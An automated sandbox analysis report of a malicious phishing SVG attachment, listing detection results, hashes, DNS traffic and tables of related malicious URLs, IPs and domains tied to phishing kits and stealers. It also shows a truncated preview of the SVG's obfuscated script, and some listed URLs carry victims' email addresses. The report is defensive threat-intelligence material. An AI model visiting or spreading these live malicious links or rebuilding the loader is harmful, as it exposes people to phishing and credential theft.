Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	scan020250310_OrderTermax-3_19_2025.svg
Detection:	MAL
Classification:	mal100.phis.evad.winSVG@23/78@42/21
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .svg

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, TextInputHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.64.78, 142.251.40.131, 142.250.65.206, 172.253.62.84, 142.251.40.110, 142.250.81.238, 142.251.41.14, 142.251.35.174, 23.193.201.36, 142.250.64.110, 142.250.80.10, 142.251.32.106, 142.251.40.138, 142.250.80.42, 142.251.35.170, 142.251.40.170, 142.250.80.74, 142.250.81.234, 142.250.65.234, 142.250.64.106, 142.251.40.234, 142.251.40.106, 142.250.72.106, 142.250.64.74, 142.250.176.202, 142.250.80.106, 142.250.65.174, 142.250.65.195, 142.250.80.67, 142.250.80.110, 142.251.32.110, 142.251.40.238, 4.175.87.197, 23.204.23.20
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com, c.pki.goog
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.48.1	http://104.21.48.1	Get hash	malicious	Unknown	Browse	104.21.48.1/favicon.ico
	345623.bat	Get hash	malicious	DBatLoader, FormBook	Browse	www.shlomi.app/9rzh/
	ySUB97Jq80.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.shlomi.app/9rzh/
	hQaXUS5gt0.exe	Get hash	malicious	FormBook	Browse	www.newanthoperso.shop/3nis/
	6nA8ZygZLP.exe	Get hash	malicious	FormBook	Browse	www.rbopisalive.cyou/2dxw/
	UhuGtHUgHf.exe	Get hash	malicious	FormBook	Browse	www.enoughmoney.online/z9gb/
	Bill_of_Lading_20250307_pdf.bat.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sccc/five/fre.php
	Stormwater Works Drawings Spec.js	Get hash	malicious	FormBook	Browse	www.lucynoel6465.shop/jgkl/
	Shipment Delivery No DE0093002-PDF.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/tking3/five/fre.php
	Remittance_CT022024.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/fix/five/fre.php
140.82.113.3	https://HlJY.ccommoe.ru/EpWwgQB1QbIAhA/#dHJhbmcucHJvc3BlcmllQGhhcnZlc3RtaWRzdHJlYW0uY29t	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	iroklas.exe	Get hash	malicious	LummaC Stealer	Browse
	5ecf0e.msi	Get hash	malicious	NovaSentinel	Browse
	ImageG.exe	Get hash	malicious	NovaSentinel	Browse
	https://atpscan.global.hornetsecurity.com/?d=eqOz7AXSzN2V2mi6iPmcWAtgYiZy7lkNff2rdLiYxLc&f=uieQKeFt6Zo7ANK8iLoZFPTujO3kkK4boT32m0sSAem2yjB3nbrJPC-bjAvICoGvUsBPae9KnS3shx7u3k2FiwwIqyiK3sQzLKFz5y8q_nj8PAt_J9HmT1bo5p4OIPC1eZYzpGJBfTb7UM-l94hwhA&i=&k=WFad&m=2x6lr8WIArfjoki1cLDoaGvtZnic1YOh--dHqhZnxNrDJUG4m82-vM5qXqDCSAsURkVh0fd5KOJuBllo3N6JKs2ra2-P7_2temJ9tYhs2hxglgVJVr5gYlT_yoYeRZjF&n=GP4DG9iGvMhGp7Cc0MfzdFVrVHv5htxygQbtVpxMJpUIBpkiFZSL5KiAfQBsE-KAVBPk5S1ARYk-3VQUbSVQ7A&r=WVGLAKs8L0Zh9eoU1fbnSHa5iJ0XuA-IG_TRldcDEATEV5Ai8mKQZHV2Y3yODQ5K&s=49438b7fe2a6d5a79aafcc5ab0730c0b326ba1d8858947a63aac81e1e9547b97&u=https%3A%2F%2Faws.predictiveresponse.net%2Ffwdhs.htm%3Fredirect%3D%2F%2FmembersGelita.cpmeduca.com.br	Get hash	malicious	HTMLPhisher, Invisible JS	Browse
	https://github.com/RACCOONwithlightsaber/RACCOONwithlightsaber.github.io/blob/main/Scooby.exe	Get hash	malicious	Unknown	Browse
	https://mail.pfl.fyi/v1/messages/01907499-c522-7db0-8f73-8ecef125b6ef/click?link_id=01907499-c784-79b1-9586-0af27d2ecc90&signature=435c599a2ffdd44fb638aab33a856024482c0588	Get hash	malicious	Tycoon2FA	Browse
	https://github.com/jmeubank/tdm-gcc/releases/download/v10.3.0-tdm64-2/tdm64-gcc-10.3.0-2.exe	Get hash	malicious	Unknown	Browse
	PO#093487.js	Get hash	malicious	STRRAT	Browse
	k5Xx8h8nPx.jar	Get hash	malicious	STRRAT	Browse
104.18.94.41	https://ezproxy.lakeheadu.ca/login?url=https://gamma.app/docs/Incoming-PDF-Document-wpeaqji1jmv0zug?mode=present#card-f9lsd6ekhyr749b	Get hash	malicious	Unknown	Browse
	http://pub-a5c199e46db94f72884285a0394a65f2.r2.dev/green-table-top.html	Get hash	malicious	HTMLPhisher	Browse
	a1e4fef8.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://polestubllin.ac-page.com/documents-nowreview-copy?test=true&data=05%7C02%7Cdeborah.cantu@christushealth.org%7C9e7f5b22750f4b0a926208dd67155304%7C731939eac4fc4b44872b087271216567%7C0%7C0%7C6387800636099fil34288UnknownTWFpbGZsb3d8eyJFbXB0U1hcGkiOnRydWUsIlYiOilwLjAuMDAwMCIsllAiOiJXaW4zMilslkFOIjoiTWFpbClsildUljoyfQ==%7C0%7C%7C%7C&sdata=JEFyfacBrjqR1C9dEXbaS2KjW2qYjj+roFIB112Wvg=&reserved=0	Get hash	malicious	HTMLPhisher	Browse
	http://www.ringaraja.net/portleti/katalogponudnikov/result.asp?id=4336&s=&t=51&p=50&url=https://furthercreation.com.sg/.deliveryportal/webm/#aaron.a.gil@saic.com	Get hash	malicious	HTMLPhisher	Browse
	https://keap.app/contact-us/4633654512405098	Get hash	malicious	HTMLPhisher	Browse
	b9bdbc2d.eml	Get hash	malicious	HTMLPhisher	Browse
	https://albeneseconfectionery.com/eLtHGXzH	Get hash	malicious	HTMLPhisher	Browse
	https://oncontact.nercon.com/crm10/api/public/runworkflow?workflow=ClickThru&profile=nercon&activityid=https://gamma.app/docs/SharePoint-File-Received-lb8vste5j00wp3ymode=doc&drivingentityid=O7YVGH9H2E&entityname=Contact&contactid=O7YVGH9H2E&includecrmkeys=True&eventcode=CLICKSITE&redirecturl=https://gamma.app/docs/SharePoint-File-Received-lb8vste5j00wp3y	Get hash	malicious	Unknown	Browse
	View Remittance_18_032025.PDF J8TLBF6.9 KB for Tomdrackett.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
code.jquery.com	https://ezproxy.lakeheadu.ca/login?url=https://gamma.app/docs/Incoming-PDF-Document-wpeaqji1jmv0zug?mode=present#card-f9lsd6ekhyr749b	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://HlJY.ccommoe.ru/EpWwgQB1QbIAhA/#dHJhbmcucHJvc3BlcmllQGhhcnZlc3RtaWRzdHJlYW0uY29t	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.66.137
	http://ajrdn.qqmasonry.com/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
	http://metamaskelogines.webflow.io/	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	http://protect-meta-com.vercel.app/	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://owa.spaceadvancedmaterials.de/nO1Le?e=jam@hotmail.com	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	a1e4fef8.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
	https://polestubllin.ac-page.com/documents-nowreview-copy?test=true&data=05%7C02%7Cdeborah.cantu@christushealth.org%7C9e7f5b22750f4b0a926208dd67155304%7C731939eac4fc4b44872b087271216567%7C0%7C0%7C6387800636099fil34288UnknownTWFpbGZsb3d8eyJFbXB0U1hcGkiOnRydWUsIlYiOilwLjAuMDAwMCIsllAiOiJXaW4zMilslkFOIjoiTWFpbClsildUljoyfQ==%7C0%7C%7C%7C&sdata=JEFyfacBrjqR1C9dEXbaS2KjW2qYjj+roFIB112Wvg=&reserved=0	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	View Remittance_18032025.PDF J8TLBF6.9 KB for Accounting.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	https://keap.app/contact-us/4633654512405098	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
developers.cloudflare.com	https://HlJY.ccommoe.ru/EpWwgQB1QbIAhA/#dHJhbmcucHJvc3BlcmllQGhhcnZlc3RtaWRzdHJlYW0uY29t	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	a1e4fef8.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	View Remittance_18032025.PDF J8TLBF6.9 KB for Accounting.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	View Remittance_18_032025.PDF J8TLBF6.9 KB for Tomdrackett.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	View Remittance_18032025.PDF J8TLBF6.9 KB for R.bik.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.3.189
	3414736839.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhH0PbOaM-2FozlgiDV4KjxhypvjZewbywGZ4Q7g1wJEm8gOHO-2Fj-2Fy-2BeuUQs1H9VVa-2Brw-3D-3DA1Is_kVOBfQCxFG4-2FXIG8yX-2FGfqi8-2BWigF8C7RpBSvNc2aGXOogUEviQR-2F9AW4AqQYutZIq3lAWf2XC63-2F3cBIBI8SQcUp5qgb33TJa8U97ZQ5cQdCEnEMPutRmDhXXK795CYEJe8HbeAxSgjYkIC801CRDbuheOUeU7jpL2caFIX7m5r1-2BUeK2nHNMjrKykedf2hRgzpHe7uHe79N9sO-2B91JbIs4NZci-2F59qir2l6689wL8-3D&c=E,1,C_-9gUIHEPOk9L8PCpP9cCALx1hNX2e1W8H8gSQ9Qow47gwGLsMxgWEZPUB0mUA4ruJudoUOzX2dY5WML5U_JEKzPaJ-lLU-19K4Ky7KwAIqQSqy_58,&typo=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	https://enervit.freshdesk.com/en/support/solutions/articles/156000285380-prossimo-cambio-di-qualit%C3%A0	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	MT103__1825367420#U00e2__.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.6.189
	http://email.mg.dior.com.sg/c/eJwUy0uOhCAQANDTwJLUBwpdsJiN9ygK6CZq7Dhmzj_pA7xWBKxq8r1gjsS4AoF_l8iAiWysYzGVPNZsFoEqqg1tMPwsBJSAccHMgByi1kXYgKXnLpFchPMV2rzuYNcZfl_-KO_n-Tj-cbQ52lRqNqw9dZVFmhgYpL6mHPTY5zM_1xc62vxddBwuwn620Hb_V-g_AAD__9XhM88&	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.6.189
github.com	https://HlJY.ccommoe.ru/EpWwgQB1QbIAhA/#dHJhbmcucHJvc3BlcmllQGhhcnZlc3RtaWRzdHJlYW0uY29t	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.113.3
	a1e4fef8.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.114.4
	iroklas.exe	Get hash	malicious	LummaC Stealer	Browse	140.82.113.3
	gyazowin.exe	Get hash	malicious	LummaC Stealer	Browse	140.82.114.3
	View Remittance_18032025.PDF J8TLBF6.9 KB for R.bik.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.3
	ImageG.exe.bin.exe	Get hash	malicious	NovaSentinel	Browse	140.82.112.3
	ImageG.exe.bin.exe	Get hash	malicious	NovaSentinel	Browse	140.82.121.4
	3414736839.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.3
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhH0PbOaM-2FozlgiDV4KjxhypvjZewbywGZ4Q7g1wJEm8gOHO-2Fj-2Fy-2BeuUQs1H9VVa-2Brw-3D-3DA1Is_kVOBfQCxFG4-2FXIG8yX-2FGfqi8-2BWigF8C7RpBSvNc2aGXOogUEviQR-2F9AW4AqQYutZIq3lAWf2XC63-2F3cBIBI8SQcUp5qgb33TJa8U97ZQ5cQdCEnEMPutRmDhXXK795CYEJe8HbeAxSgjYkIC801CRDbuheOUeU7jpL2caFIX7m5r1-2BUeK2nHNMjrKykedf2hRgzpHe7uHe79N9sO-2B91JbIs4NZci-2F59qir2l6689wL8-3D&c=E,1,C_-9gUIHEPOk9L8PCpP9cCALx1hNX2e1W8H8gSQ9Qow47gwGLsMxgWEZPUB0mUA4ruJudoUOzX2dY5WML5U_JEKzPaJ-lLU-19K4Ky7KwAIqQSqy_58,&typo=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.4
	https://enervit.freshdesk.com/en/support/solutions/articles/156000285380-prossimo-cambio-di-qualit%C3%A0	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.4

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	fiyat istegi109743_r5_110602407178699-1024563028621286.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	JUNGDO 84223000 - USA ORDER.pdf.vbs	Get hash	malicious	FormBook, GuLoader	Browse	104.21.15.47
	e-dekont.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.32.1
	Confirmaci#U00f3n de Transferencia - 18 de marzo de 2025.js	Get hash	malicious	FormBook	Browse	172.67.204.50
	lmdDQiS9l7.exe	Get hash	malicious	Rusty Stealer	Browse	104.26.4.15
	UW2025-019#U00b7pdf.vbs	Get hash	malicious	FormBook, GuLoader	Browse	172.67.198.243
	JUNGDO 84223000 - USA ORDER.pdf.vbs	Get hash	malicious	FormBook, GuLoader	Browse	172.67.205.136
	SIGN_F0300173362#U00b7pdf.vbs	Get hash	malicious	FormBook, GuLoader	Browse	172.67.198.243
	5047792048pdf.vbs	Get hash	malicious	FormBook, GuLoader	Browse	104.21.80.1
	QUOTATION_MARQUOTE312025#U00faPDF.scr.exe	Get hash	malicious	MSIL Logger	Browse	104.21.32.1
GITHUBUS	https://HlJY.ccommoe.ru/EpWwgQB1QbIAhA/#dHJhbmcucHJvc3BlcmllQGhhcnZlc3RtaWRzdHJlYW0uY29t	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.113.3
	a1e4fef8.eml	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.114.4
	iroklas.exe	Get hash	malicious	LummaC Stealer	Browse	140.82.113.3
	gyazowin.exe	Get hash	malicious	LummaC Stealer	Browse	140.82.114.3
	View Remittance_18032025.PDF J8TLBF6.9 KB for R.bik.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.3
	ImageG.exe.bin.exe	Get hash	malicious	NovaSentinel	Browse	140.82.112.3
	https://github.com/olivierfriard/BORIS/releases/download/v9.1.1/boris-9.1.1-win64-setup.exe	Get hash	malicious	Unknown	Browse	140.82.121.4
	ImageG.exe.bin.exe	Get hash	malicious	NovaSentinel	Browse	140.82.121.4
	3414736839.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.3
	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhH0PbOaM-2FozlgiDV4KjxhypvjZewbywGZ4Q7g1wJEm8gOHO-2Fj-2Fy-2BeuUQs1H9VVa-2Brw-3D-3DA1Is_kVOBfQCxFG4-2FXIG8yX-2FGfqi8-2BWigF8C7RpBSvNc2aGXOogUEviQR-2F9AW4AqQYutZIq3lAWf2XC63-2F3cBIBI8SQcUp5qgb33TJa8U97ZQ5cQdCEnEMPutRmDhXXK795CYEJe8HbeAxSgjYkIC801CRDbuheOUeU7jpL2caFIX7m5r1-2BUeK2nHNMjrKykedf2hRgzpHe7uHe79N9sO-2B91JbIs4NZci-2F59qir2l6689wL8-3D&c=E,1,C_-9gUIHEPOk9L8PCpP9cCALx1hNX2e1W8H8gSQ9Qow47gwGLsMxgWEZPUB0mUA4ruJudoUOzX2dY5WML5U_JEKzPaJ-lLU-19K4Ky7KwAIqQSqy_58,&typo=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.121.4
CLOUDFLARENETUS	fiyat istegi109743_r5_110602407178699-1024563028621286.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	JUNGDO 84223000 - USA ORDER.pdf.vbs	Get hash	malicious	FormBook, GuLoader	Browse	104.21.15.47
	e-dekont.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.32.1
	Confirmaci#U00f3n de Transferencia - 18 de marzo de 2025.js	Get hash	malicious	FormBook	Browse	172.67.204.50
	lmdDQiS9l7.exe	Get hash	malicious	Rusty Stealer	Browse	104.26.4.15
	UW2025-019#U00b7pdf.vbs	Get hash	malicious	FormBook, GuLoader	Browse	172.67.198.243
	JUNGDO 84223000 - USA ORDER.pdf.vbs	Get hash	malicious	FormBook, GuLoader	Browse	172.67.205.136
	SIGN_F0300173362#U00b7pdf.vbs	Get hash	malicious	FormBook, GuLoader	Browse	172.67.198.243
	5047792048pdf.vbs	Get hash	malicious	FormBook, GuLoader	Browse	104.21.80.1
	QUOTATION_MARQUOTE312025#U00faPDF.scr.exe	Get hash	malicious	MSIL Logger	Browse	104.21.32.1
CLOUDFLARENETUS	fiyat istegi109743_r5_110602407178699-1024563028621286.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	JUNGDO 84223000 - USA ORDER.pdf.vbs	Get hash	malicious	FormBook, GuLoader	Browse	104.21.15.47
	e-dekont.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.32.1
	Confirmaci#U00f3n de Transferencia - 18 de marzo de 2025.js	Get hash	malicious	FormBook	Browse	172.67.204.50
	lmdDQiS9l7.exe	Get hash	malicious	Rusty Stealer	Browse	104.26.4.15
	UW2025-019#U00b7pdf.vbs	Get hash	malicious	FormBook, GuLoader	Browse	172.67.198.243
	JUNGDO 84223000 - USA ORDER.pdf.vbs	Get hash	malicious	FormBook, GuLoader	Browse	172.67.205.136
	SIGN_F0300173362#U00b7pdf.vbs	Get hash	malicious	FormBook, GuLoader	Browse	172.67.198.243
	5047792048pdf.vbs	Get hash	malicious	FormBook, GuLoader	Browse	104.21.80.1
	QUOTATION_MARQUOTE312025#U00faPDF.scr.exe	Get hash	malicious	MSIL Logger	Browse	104.21.32.1

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (51734)
Category:	downloaded
Size (bytes):	222931
Entropy (8bit):	5.0213311632628725
Encrypted:	false
SSDEEP:	3072:Z4blthK0D4NIbkhhMW0AphsQyXV3oUHDDlxh/LoFdW:Z4vhK0D4NQlxh/LoFdW
MD5:	0329C939FCA7C78756B94FBCD95E322B
SHA1:	7B5499B46660A0348CC2B22CAE927DCC3FDA8B20
SHA-256:	0E47F4D2AF98BFE77921113C8AAF0C53614F88FF14FF819BE6612538611ED3D1
SHA-512:	1E819E0F9674321EEE28B3E73954168DD5AEF2965D50EE56CAD21A83348894AB57870C1C398684D9F8EAB4BBBEF5239F4AEA1DCAB522C61F91BD81CF358DA396
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css
Preview:	@charset "UTF-8";.qtip{box-shadow:none;direction:ltr;display:none;font-size:10.5px;left:-28000px;line-height:12px;max-width:280px;min-width:50px;padding:0;position:absolute;top:-28000px}.qtip-content{word-wrap:break-word;padding:5px 9px;text-align:left}.qtip-content,.qtip-titlebar{overflow:hidden;position:relative}.qtip-titlebar{border-width:0 0 1px;font-weight:700;padding:5px 35px 5px 10px}.qtip-titlebar+.qtip-content{border-top-width:0!important}.qtip-close{border:1px solid transparent;cursor:pointer;outline:medium none;position:absolute;right:-9px;top:-9px;z-index:11}.qtip-titlebar .qtip-close{margin-top:-9px;right:4px;top:50%}* html .qtip-titlebar .qtip-close{top:16px}.qtip-icon .ui-icon,.qtip-titlebar .ui-icon{direction:ltr;display:block;text-indent:-1000em}.qtip-icon,.qtip-icon .ui-icon{-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;text-decoration:none}.qtip-icon .ui-icon{background:transparent none no-repeat -100em -100em;color:inherit;height:14px;line-heigh

File type:	SVG Scalable Vector Graphics image
Entropy (8bit):	3.9580219511425843
TrID:	Scalable Vector Graphics (18501/1) 78.71% Generic XML (ASCII) (5005/1) 21.29%
File name:	scan020250310_OrderTermax-3_19_2025.svg
File size:	2'696 bytes
MD5:	5dbe9f0cbfd50fc6998f327e09f69609
SHA1:	de5bad92adaacb1875cbfaae86a8b1ad96aeeda9
SHA256:	8f9e3561fb5f53fa6e48746f21641c061306e4496c9802599ec1a1eaac5189b2
SHA512:	5043e6c43966543d6021b7282338b8655185978946adbf093e6fad80c8032c116ba28923fc167b920d79cb2840115caa0983798cd07da61a581862ae21c09a5c
SSDEEP:	48:ckYowr8M31tthqB+PbUzbh1J5f5dVNpz1h5V5tZDd5NDDfJJdj1jj7DNJtr5Hj5C:kKAtYwbYh1J5hdVNpZTV5b7NHRJJ1jzs
TLSH:	5A51B3063D1B9A1786EFE663BB960C36E743CCE71E700A2F79040452DA31630C0AEDB5
File Content Preview:	<?xml version="1.0" encoding="UTF-8" standalone="no"?>..<svg xmlns="http://www.w3.org/2000/svg" width="400" height="250">..<script>..<![CDATA[..CXkcPQBGHzSOVg = "#bWxvd0B0ZXJtYXguY29t";..class hcJiuu { constructor({ yZudRT, dhSCOs }) { this.yZudRT = yZudR

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2025 08:56:32.656764030 CET	53	61947	1.1.1.1	192.168.2.9
Mar 20, 2025 08:56:33.300960064 CET	53	63944	1.1.1.1	192.168.2.9
Mar 20, 2025 08:56:33.996464014 CET	53	62706	1.1.1.1	192.168.2.9
Mar 20, 2025 08:56:34.144047976 CET	53	55475	1.1.1.1	192.168.2.9
Mar 20, 2025 08:56:36.907166004 CET	57234	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:56:36.907366037 CET	65526	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:56:37.005980968 CET	53	57234	1.1.1.1	192.168.2.9
Mar 20, 2025 08:56:37.007570982 CET	53	65526	1.1.1.1	192.168.2.9
Mar 20, 2025 08:56:38.211477995 CET	62922	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:56:38.211604118 CET	61798	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:56:38.554606915 CET	53	62922	1.1.1.1	192.168.2.9
Mar 20, 2025 08:56:38.594613075 CET	53	61798	1.1.1.1	192.168.2.9
Mar 20, 2025 08:56:39.945591927 CET	62399	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:56:39.945795059 CET	63093	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:56:39.946161985 CET	60887	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:56:39.946340084 CET	55210	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:56:39.946630001 CET	59719	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:56:39.947016954 CET	61323	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:56:40.043179035 CET	53	63093	1.1.1.1	192.168.2.9
Mar 20, 2025 08:56:40.043454885 CET	53	55210	1.1.1.1	192.168.2.9
Mar 20, 2025 08:56:40.043467999 CET	53	59719	1.1.1.1	192.168.2.9
Mar 20, 2025 08:56:40.044661999 CET	53	61323	1.1.1.1	192.168.2.9
Mar 20, 2025 08:56:40.046394110 CET	53	62399	1.1.1.1	192.168.2.9
Mar 20, 2025 08:56:40.047815084 CET	53	60887	1.1.1.1	192.168.2.9
Mar 20, 2025 08:56:41.074306011 CET	57869	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:56:41.074470997 CET	65458	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:56:41.179138899 CET	53	57869	1.1.1.1	192.168.2.9
Mar 20, 2025 08:56:41.181237936 CET	53	65458	1.1.1.1	192.168.2.9
Mar 20, 2025 08:56:41.714859009 CET	54985	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:56:41.715486050 CET	61616	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:56:41.813591957 CET	53	61616	1.1.1.1	192.168.2.9
Mar 20, 2025 08:56:41.817409039 CET	53	54985	1.1.1.1	192.168.2.9
Mar 20, 2025 08:56:51.124001026 CET	53	54583	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:00.143045902 CET	63538	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:57:00.143472910 CET	57362	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:57:00.487783909 CET	53	63538	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:00.489191055 CET	53	57362	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:01.606159925 CET	65152	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:57:01.606347084 CET	65039	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:57:01.946043968 CET	53	65152	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:01.959855080 CET	53	65039	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:02.491880894 CET	55709	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:57:02.492156029 CET	57460	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:57:02.839131117 CET	53	57460	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:02.844414949 CET	53	55709	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:03.763757944 CET	61418	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:57:03.764004946 CET	64011	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:57:03.861769915 CET	53	64011	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:03.863306046 CET	53	61418	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:05.900461912 CET	58663	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:57:05.901102066 CET	62183	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:57:05.906579971 CET	62371	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:57:05.908505917 CET	61400	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:57:05.996964931 CET	53	58663	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:05.997649908 CET	53	62183	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:06.004985094 CET	53	62371	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:06.030700922 CET	53	61400	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:06.416378975 CET	52694	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:57:06.416553020 CET	56352	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:57:06.450463057 CET	62767	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:57:06.450670958 CET	55703	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:57:06.513461113 CET	53	56352	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:06.552289009 CET	53	62767	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:06.553128958 CET	53	55703	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:06.613224030 CET	53	52694	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:09.882781982 CET	53	50120	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:10.111649036 CET	53	59459	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:10.202622890 CET	63469	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:57:10.202792883 CET	56353	53	192.168.2.9	1.1.1.1
Mar 20, 2025 08:57:10.300386906 CET	53	56353	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:10.300470114 CET	53	63469	1.1.1.1	192.168.2.9
Mar 20, 2025 08:57:11.256818056 CET	54955	53	192.168.2.9	1.1.1.1
